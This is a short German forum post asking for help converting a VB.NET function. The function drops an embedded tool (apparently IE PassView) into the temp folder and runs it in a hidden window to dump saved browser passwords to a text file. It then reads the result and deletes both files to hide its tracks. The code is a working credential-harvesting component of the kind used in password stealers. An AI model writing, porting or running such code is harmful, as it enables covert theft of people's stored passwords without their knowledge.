Oha danke.
Aba ich hab mir das alles etwas lechter vorgestellt mit dem umwandeln : /
Könnte mir diesbezüglich vlt jemand helfen?
Code:
Function lesen() As String
Dim Data As String
Dim ExeDateiname As String = "\datei.exe"
Dim TextDateiname As String = "\textdatei.txt"
Dim RessourceDatei() As Byte = My.Resources.iepv
FileOpen(1, Environ("tmp") & ExeDateiname, OpenMode.Binary)
FilePut(1, RessourceDatei)
FileClose(1)
Shell(Environ("tmp") & ExeDateiname & " /stext " & Environ("tmp") & _
TextDateiname, AppWinStyle.Hide)
Data = IO.File.ReadAllText(Environ("tmp") & TextDateiname)
On Error Resume Next
IO.File.Delete(Environ("tmp") & ExeDateiname)
IO.File.Delete(Environ("tmp") & TextDateiname)
Return Data
End Function
Wäre dankbar
[edit=Luckie]Zitat-Tags durch Code-Tags ersetzt. Mfg, Luckie[/edit]